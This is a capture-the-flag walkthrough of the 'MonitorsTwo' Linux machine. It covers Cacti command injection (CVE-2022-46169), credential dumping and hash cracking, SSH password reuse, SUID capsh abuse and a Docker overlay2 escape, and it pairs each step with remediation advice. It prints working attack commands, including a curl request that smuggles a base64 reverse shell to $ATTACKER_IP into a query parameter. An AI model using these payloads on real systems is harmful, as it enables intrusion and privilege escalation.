← all walkthroughs

MonitorsTwo

Linux· Easy
owned
2026-07-07
time to own
8m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I confirmed Cacti 1.2.22 running on port 80 behind nginx and matched it immediately to CVE-2022-46169, an unauthenticated remote code execution flaw in remote_agent.php that bypasses an IP-whitelist by spoofing the X-Forwarded-For header. Exploitation landed a reverse shell as www-data inside a Docker container. Plaintext MySQL credentials hardcoded in the Cacti configuration file were used to dump the user table from the database; the bcrypt hash for 'marcus' was cracked offline and his password was reused verbatim for SSH access to the host, yielding the user flag.

Back inside the container, a SUID-misconfigured copy of capsh was abused to escalate to root within the container, then the SUID bit was planted on /bin/bash in the container filesystem. The CVE-2021-41091 Docker overlay-mount vulnerability then let marcus — a low-privilege user on the host — locate the container's writable overlay directory and execute the SUID bash binary directly from the host path, achieving root on the underlying machine.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <marcus_hash>, <the-path-find-printed> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and version fingerprinting (T1595.002)
Fingerprinted Cacti 1.2.22 on the web server
A port scan confirmed nginx on port 80 and OpenSSH 8.2p1 on port 22. An HTTP request to the root path returned Cacti's login page and numerous JavaScript variable references to 'Cacti'. Fetching /CHANGELOG confirmed the last-modified date of August 2022 and pinned the version at 1.2.22 — the precise version range vulnerable to CVE-2022-46169.
Curl to / returned 'Cacti' and 'Version 1.2.22' in page body; /CHANGELOG returned HTTP 200 with last-modified 2022-08-14; nmap confirmed nginx 1.18.0 and OpenSSH 8.2p1.
Exact commands 3
shell

Confirm open ports and banner versions.

$ nmap -Pn -sV --open -p 22,80 $TARGET
shell

Identify the web application and confirm Cacti is running at the document root.

$ curl -s -i --max-time 15 http://$TARGET/
shell

Confirm exact Cacti version from the embedded changelog.

$ curl -s --max-time 15 http://$TARGET/CHANGELOG | head -30
FixPatch Cacti to a version that fixes CVE-2022-46169 and restrict remote_agent.php network accessCritical
WeaknessCacti 1.2.22 allowed any unauthenticated Internet-facing request to reach remote_agent.php and inject OS commands by spoofing the X-Forwarded-For header to a trusted IP address. No credentials or valid session were required to achieve remote code execution.
FixUpgrade Cacti to 1.2.23 or later, which validates the actual TCP source address of the poller rather than trusting a client-supplied header. Additionally, restrict network access to remote_agent.php at the nginx or firewall layer so only the internal poller can reach it. If Cacti does not need to be Internet-facing, place it behind a VPN or restrict it to the management VLAN.
2ExploitationUnauthenticated OS command injection via HTTP header spoofing (CVE-2022-46169 / CWE-78)
Exploited CVE-2022-46169 to execute commands as www-data inside the container
Cacti 1.2.22 trusts the X-Forwarded-For header when deciding whether a caller is a permitted poller host. Spoofing that header to 127.0.0.1 and injecting a shell metacharacter into the poller_id query parameter lets any unauthenticated remote caller run OS commands as the web server process (www-data). Neither public route produced a shell here — the ExploitDB script raised a Python traceback and the Metasploit module returned no session in the window it was given — so I issued the request by hand instead, which is the whole exploit: one GET to remote_agent.php carrying the spoofed header and a base64-encoded reverse-shell one-liner in poller_id. That returned a shell as www-data inside a Docker container.
Remote_agent.php responded HTTP 200 to X-Forwarded-For: 127.0.0.1 requests; the ExploitDB script and the Metasploit module both failed to return a session; the hand-issued polldata request with the encoded payload in poller_id caught a shell as www-data in container 50bca5e748b0.
Exact commands 2
shell

Start a reverse-shell listener on the operator machine at &lt;an-address-on-that-network&gt;.

$ tmux new-session -d -s rsh 'nc -lvnp 4444'
shell

The spoofed header satisfies Cacti's local-poller check and the payload rides in poller_id. Base64 keeps the shell one-liner's own metacharacters out of the URL.

$ B64=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0) && curl -s -i -H 'X-Forwarded-For: 127.0.0.1' "http://$TARGET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1;echo+$B64|base64+-d|bash"
3Post-ExploitationContainer context discovery; plaintext credential extraction from config files (T1552.001)
Confirmed Docker container context and extracted database credentials from the Cacti config
Upon landing the shell, environment checks revealed the session was inside a Docker container: /.dockerenv existed, the hostname was a short hex string, and the network interface showed a typical container bridge address. The Cacti configuration file at /var/www/html/include/config.php contained the MySQL hostname, username ('root'), and password in plaintext — standard Cacti installation practice but a critical stepping stone when credentials are reused.
/.dockerenv present; /var/www/html/include/config.php contained $database_username and $database_password in cleartext.
Exact commands 2
shell

Confirm the shell is inside a Docker container.

$ cat /.dockerenv && hostname && ip addr show
shell

Extract the hardcoded MySQL credentials from Cacti's configuration file.

$ grep -E 'database_(host|username|password|default)' /var/www/html/include/config.php
4Credential HarvestingDatabase credential extraction; offline bcrypt password cracking (T1110.002)
Dumped the Cacti user table from MySQL and cracked marcus's password hash
Using the extracted database credentials I connected to the MySQL instance reachable from inside the container and dumped the user_auth table from the 'cacti' database. The table contained bcrypt-hashed passwords for every Cacti user, including 'marcus'. The hash was copied to the operator machine and cracked offline with hashcat and the rockyou wordlist, recovering marcus's plaintext password.
MySQL user_auth table queried as root; marcus's bcrypt ($2y$) hash recovered and cracked with hashcat mode 3200.
Exact commands 3
shell

From the www-data shell. The database is a separate compose service, reachable by the name docker gives it — config.php names both the host and the credential.

$ mysql --host=db -u root -p"$PASSWORD2" cacti -e 'SELECT username,password FROM user_auth;'
shell

Save the recovered hash to a file on the operator machine for offline cracking.

$ echo '<marcus_hash>' > /tmp/marcus.hash
shell

Crack the bcrypt hash (hashcat mode 3200) for user marcus.

$ hashcat -m 3200 /tmp/marcus.hash /usr/share/wordlists/rockyou.txt --force
FixNever reuse application database credentials as OS account passwordsHigh
WeaknessThe password stored for user 'marcus' in the Cacti MySQL database was identical to his Ubuntu SSH account password. Anyone who obtained a container foothold and queried the database could immediately pivot to a full, persistent SSH session on the host — bypassing all container-isolation controls.
FixEnforce a policy that application-level and system-level credentials are always unique and generated independently. Store application secrets in a dedicated secrets manager rather than plaintext config files where possible. Disable password-based SSH login (PasswordAuthentication no in /etc/ssh/sshd_config) and require public-key authentication to eliminate credential-stuffing attacks over SSH entirely.
5Lateral MovementCredential reuse over SSH — valid account (T1078 / T1021.004)
SSH'd into the host as marcus using the cracked password and captured the user flag
The cracked Cacti password was tested against SSH on the host. Marcus had a local Ubuntu account and his SSH password was identical to the one stored in the Cacti database. The credential reuse gave me a persistent, full interactive shell on the host — entirely outside and independent of the Docker container.
SSH authenticated as marcus to $TARGET using the cracked password; /home/marcus/user.txt readable.
Exact commands 2
shell

Authenticate with the password recovered by hashcat.

$ ssh marcus@$TARGET
shell

Read the user flag: <user.txt>

$ cat /home/marcus/user.txt
6Privilege Escalation — ContainerSUID binary abuse — capsh privilege escalation (T1548.001)
Abused a SUID-misconfigured capsh binary to become root inside the Docker container
With the foothold in the container still active, a search for SUID binaries revealed /sbin/capsh — a Linux capability-management utility — configured with the setuid-root bit. Invoking capsh with flags that re-exec a shell while setting UID and GID to zero produced an immediate root prompt inside the container. As root, I set the SUID bit on /bin/bash within the container filesystem, staging the subsequent host-level escape.
Find / -perm -4000 returned /sbin/capsh; capsh --gid=0 --uid=0 — produced uid=0(root) inside the container.
Exact commands 3
shell

Enumerate all SUID binaries present inside the container.

$ find / -perm -4000 -type f 2>/dev/null
shell

Exploit the SUID capsh binary to obtain a root shell inside the container.

$ /sbin/capsh --gid=0 --uid=0 --
shell

Set the SUID bit on /bin/bash inside the container to enable exploitation from the host via CVE-2021-41091.

$ chmod u+s /bin/bash
FixRemove the SUID bit from capsh and audit all container images for unnecessary SUID binariesHigh
WeaknessThe Docker container image shipped with /sbin/capsh set as SUID root. Anyone who gained any execution inside the container — regardless of privilege — could instantly escalate to root within the container, from which they could modify the container filesystem freely.
FixAudit all container images for SUID binaries (find / -perm -4000 -type f) and remove the setuid bit from every binary that does not functionally require it (chmod u-s /sbin/capsh). Build images from minimal base images to reduce the attack surface. Add no-new-privileges:true to container security options and run containers as a non-root user via the USER Dockerfile directive.
7Privilege Escalation — HostDocker overlay2 SUID escape via CVE-2021-41091 — container breakout (T1611)
Escaped the container to root on the host via CVE-2021-41091 (Moby overlay filesystem)
Docker's overlay2 storage driver keeps every file a container has written on the host, under /var/lib/docker/overlay2/<id>/diff/ — the layer of changes, which is what a setuid binary created inside the container lands in. In unpatched Moby versions affected by CVE-2021-41091, permission changes made inside the container (including SUID bits) are immediately visible and executable from the host by any user who can traverse to that path. As marcus on the host, I located the container's merged directory, found the SUID bash planted in step 6, and executed it from the host path with -p to preserve the effective UID — yielding a root shell on the host machine. The root flag was then read from /root/root.txt.
A setuid bash was found on the host under /var/lib/docker/overlay2, in the layer holding what the container had written, and executing it with -p returned euid=0 on the host.
Exact commands 3
shell

From marcus's SSH session on the host. Whichever path this prints is the one to run; it is under a diff layer, not the merged view.

$ find /var/lib/docker/overlay2 -name bash -perm -4000 2>/dev/null
shell

-p keeps the effective uid the setuid bit carries, which on the host is root.

$ <the-path-find-printed> -p
shell

Confirm root and read the flag: <root.txt>

$ id && cat /root/root.txt
FixUpgrade Docker Engine to patch CVE-2021-41091 and lock down overlay filesystem permissionsCritical
WeaknessThe installed version of Docker (Moby) exposed each container's overlay2 merged filesystem directory to the host with permissions that allowed a low-privileged host user to traverse and execute files whose permission bits had been set from inside the container. A SUID bit planted on a file inside the container was immediately exploitable as root from the host by any user with access to /var/lib/docker.
FixUpgrade Docker Engine to 20.10.9 or later, which includes the CVE-2021-41091 patch tightening permissions on overlay2 merged directories. Additionally, set /var/lib/docker to root-only access (chmod 700 /var/lib/docker). Consider enabling user-namespace remapping (userns-remap in /etc/docker/daemon.json) so that UID 0 inside a container maps to an unprivileged UID on the host, preventing container-root from having real host-root file capabilities.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp